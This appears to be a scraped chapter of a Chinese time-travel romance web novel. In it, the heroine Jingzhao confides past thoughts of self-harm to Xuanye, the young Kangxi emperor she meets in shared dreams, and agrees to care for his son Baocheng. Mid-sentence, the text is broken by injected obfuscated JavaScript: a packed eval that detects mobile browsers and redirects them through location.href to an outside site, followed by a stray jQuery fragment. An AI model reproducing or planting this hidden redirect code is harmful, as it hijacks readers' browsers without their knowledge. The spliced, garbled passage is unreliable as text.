“你知道吗在。我想过自残,想过自杀,我想让她后悔,可是到最后拿起刀的时候,我却发现我没有勇气这样做!”说起这话的时候,景昭的脸上挂着极为难看的笑,可是自浅褐色的眼中大颗颗持续不断落下的眼泪,无声诉说着她的悲痛。
人真的是极其虚伪的,活着不如意的时候,就想着用死来逃避,可是当自己发现,自己怯懦到只能随便说着死,结果连死的勇气都没有,只能不生不死的赖活着的时候,才是最可悲的!
“安安…你有没有听过一句话。”玄烨怜惜的走上前,将她揽入怀中,情不自禁的小心亲吻着她的额头,柔声说道:“佛家有言‘菩提本无树,明镜亦非台,本来无一物,何处染尘埃?’”
“我知道,要学会自己放下,可是,三哥,说的容易,可做起来,又何其多的难?”景昭苦笑。
她一直以为,那些不堪的过去已经被她成功抛在了脑后,可是没想到,只是她怯懦的想要逃避,而那些事情压根没有过去。它们就像是横在她心中的一根刺,不知道什么时候晃动到了它,就会把她戳的遍体凌伤。
可即使是这样,那些不堪的过去,也是她的一部分,如果连她都不记得自己的曾经,那么还有谁会记得那个怯懦的、没用的、可笑的她在这硕大的景国政权之下渐渐地沉沦消弭呢?
“既然放不下…那么我们就创造新的回忆,去替换它覆盖它…”玄烨轻笑着说道。
“三哥呢?光说我和保成,三哥呢?三哥就没有什么不开心的事情,想要找人说说?刚才和三哥将真心话说了出来,我就开心多了,三哥不想说说吗在。或者,三哥是信不过我?”悄悄在玄烨月白色的衣袍上擦拭着眼泪,景昭闷闷的说道。
她都仅仅只是经历这些,都感觉很好像天都要塌了,那么历史上命岁坎坷的康熙,又是怎么在那些坎坷之中,成就他千古一帝的美誉呢?景昭从不否认,一开始知道镜中人是康熙的时候,远比那张俊美的脸更令她动心,尽管这其中有着历史的美颜,可也改变不了她是真真正正崇拜着康熙的事实。
——粗粗记得,历史上的康熙大帝,似乎他幼年过的也并不好。顺治深爱董鄂妃,六宫几乎都成了虚设。而康熙的生母孝康章皇后好像当时只是一个庶妃。清廷讲究孩子出生是子凭母贵,佟妃当时还没有抬旗,身份应该高不到哪儿去…且佟妃好像在康熙登基前就去世了,康熙登基时7岁…
就光顾着安慰她,他自己就不苦吗?
或者男人都有的嘴硬的通病?又或者她与他还不足够亲密?
下意识就推翻了最后一种可能——骄傲如康熙,在感情上更不屑于欺骗!
“我吗?”玄烨愣了愣:“倒不是不信你,怎会不信你呢?只是有些话…我怕说给你听,你又要陪着我一起难过…”依然就着揽着她的动作,两人在宁心亭围栏边坐下。
他拿起早已备好的茶,为景昭斟了一杯茶,再次调笑着问了一遍:“安安当真想听我的事情?听了可不允许哭鼻子哦…”
“三哥你在胡说什么,谁哭鼻子了…”颇为有些不好意思的吸了吸鼻子,抬手拿起茶杯,装作喝茶,用来掩饰自己的不自在,却不知道那双红红的兔子眼已经让她原形毕露。
“我出生在满洲一个大家族中,我的母亲,只是家族当权者的一个妾室…不过,妻室,又能怎么样呢?在当权者心有所属的情况下,也只能退居一侧。当然,这其中还夹杂着很多利益相关的,显然,我的父亲不是愿意平静的接受他人安排的人…”玄烨淡淡的说道。
顺治帝,大清入关之后严格意义上的第一位帝王。和他的祖父皇太极一样,是个绝对的情种。当然,这只是表面的。再怎么喜欢董鄂氏,他也是一国帝王,更何况他的喜欢可比不上先祖对宸妃海兰珠的深爱,孝献皇后董鄂氏严格意义上来说,只是一颗棋子,一颗他父亲顺治帝同摄政王多尔衮、皇祖母孝庄太皇太后博弈的棋子。
可棋子又如何?至少,整个清史稿都会记录,她是顺治帝最爱的女人!
“我的母亲为了生下我,付出了极其大的代价,在怀孕期间担惊受怕,生下我之后,她的身体就彻底的垮了。而那个男人,我的父亲,他从未出现过在我的世界。直至,他最深爱的女人为他生下的儿子去世之后,他为了安慰那个女人,将主意打到了我的身上。结果…那个女人出痘了,我也因此被染上了天花…在我们的世界,天花是十不存一的恶疾,我额娘得知我染上了天花,担心害怕不已,没多久就去了…可本该死去的我却熬过了天花,最后阴差阳错成了家族的当权者…”细想,爱新觉罗?玄烨的一生,充斥着戏剧性,如果没有那么多的因缘巧合,坐在皇位上的,也绝对不会是他。
“那三哥那个时候,应该很害怕也很难过吧…”经由这轻描淡写的几句话,景昭就能猜出,他所经历的原没有他所描述的这样子简单。她是人,可那时候比她还要小的玄烨也是人,她会害怕会恐惧,他难道就没有吗?
执起属于他的茶,送到他的嘴边,在他轻抿了一口之后,她又将茶水放回了原处。
“已经过去了…这一切都已经过去了,安安,所以,我们要活在当下,珍惜每一天!”轻轻收了收揽着景昭的手,玄烨认真的说道:“我不知道是因为什么原因,我们的梦境会被联系到一起,我也不知道,能够持续到什么时候,与其每天都活在担心和恐惧中,不如我们将每一天都作为最后一天,珍惜在一起的分分秒秒,这样,倘若有一天我们…也不会有遗憾!”
如果有一天,他的世界中
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16171647|180702||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有了安安,他也不知道,他会怎么样。只是这段时间相处,那甜蜜犹如跗骨,戒不掉也不想去戒。如果,有一天,当这种甜蜜彻底消失了…
红唇几张几合,景昭欲言而止。最后,她点头应允了玄烨的意见:“…我听三哥的…”
“安安,你知道,那天保成是怎么入梦的吗?保成想见你,他需要额娘,我就把他托付给你了,如果可以的话,请你多担待点!”玄烨沉默许久,最终还是颇为尴尬的将保成之事单独提出来同景昭协商:虽然说起来极其不厚道,但是…
静谧的亭中,阵阵清雅的莲香肆意,让人忍不住有些昏昏欲睡的感觉。但是在听到了玄烨的话时,景昭还是强迫自己挣扎着睁开眼:“这有什么?我本就极喜欢保成!保成叫我一声额娘,只要他在天上的额娘不要怪罪,我有什么啊?白捡一个儿子我开心还来不及呢!”
“那就多谢安安了!保成今天还吵着闹着要来见你呢,可见他也是极喜欢你的。要是他亲额娘在天上看见了,也只会感谢你替她照顾保成!”看着景昭因为情绪发泄之后,整个人都困顿无比的情况下,还努力睁开眼与他说话的小模样,心下一软,直接打横将人抱起,朝着初篁殿主殿的寝宫走去:“困了便歇会儿…我会在身边陪你的…睡吧…”
感受着男人身上熟悉的气味,景昭略微挣扎了下,便进入了梦乡。在此之后,她就什么也不知道了。
而在她陷入深沉的睡眠后,男人遵守了自己的承诺,依靠在床头,拿着一本书慢悠悠的看了起来。偶见她睡像不好的伸手伸脚,想要将压在身上的薄被掀开,他便无奈的放下手中的书册,为她整理被褥。而那因为,屡次挣扎、掀飞起来的紫色衣袖之下不经意间看到的白皙,也瞬间让他红了脸。小心将她的手拾进被褥,他努力平稳着略微有些凌乱的呼吸,暗自苦笑:什么时候他也需要这样约束着自己当柳下惠了?能让他做到这一步的,也只有她了!
第二次早上,自惊鸾殿寝宫中醒来,景昭捂脸:瞧昨天她做了什么。先对着千古一帝半成品哭泣耍泼,到最后让人哄着自己安抚了半天,最后光明正大过了明路白捡了一个儿子!
不好意思归不好意思,害羞归害羞,可到底结果是好的,日子还是要过下去的!
她起身,极其快速的给自己做了简单的洗漱之后,更换了朝服,前往九一殿听政。又是新的一天,雷打不动的忙碌生活又开始了。
先是处理了满满闻声之后蜂拥而至的商人应对之策,又制定了相关基本对称的交换法则,以免双向吃亏,产生矛盾。解决外外务之后,便是神殿相关的一些琐事。秋祭之后,大事没了,这些零碎的琐事却越发恼人了。
而远在千里之外的大清,就在这一天,就在京师发生了一件大事。